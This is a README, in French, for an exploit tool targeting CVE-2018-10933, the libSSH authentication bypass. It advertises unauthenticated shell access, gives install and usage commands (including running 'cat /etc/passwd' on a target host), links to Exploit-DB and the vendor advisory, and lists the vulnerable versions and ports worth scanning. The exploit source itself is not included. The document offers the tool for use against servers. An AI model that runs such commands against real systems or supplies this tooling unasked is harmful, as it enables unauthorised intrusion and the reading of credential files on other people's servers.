
Exploit pour CVE-2018-10933 (contournement d'authentification LibSSH) permettant un accès shell non authentifié à des serveurs SSH vulnérables avec détection de version et intégration Shodan.
Obtenez un shell sans aucun identifiant en utilisant CVE-2018-10933
Exploit-DB : https://www.exploit-db.com/exploits/45638
Informations sur CVE-2018-10933 par libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt
Version de correction de bugs par libSSH : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
// If paramiko==2.0.8 doesn't works try : pip install paramiko==2.4.2
pip install -r requirements.txt
python libsshauthbypass.py --help
Example:
python libsshauthbypass.py --host 0.0.0.0 --port 22 --command "cat /etc/passwd" --logfile newlogfile.log
https://gist.github.com/0x4D31/35ddb0322530414bbb4c3288292749cc
Si la sortie est 0.7.5, 0.6.* ou inférieure, le serveur est vulnérable.
Sinon, il est probablement patché, tronqué ou n'utilise pas libSSH.
(Le port 22 est par défaut, d'autres ports comme (2222, 3333, 4444) peuvent inclure libSSH)
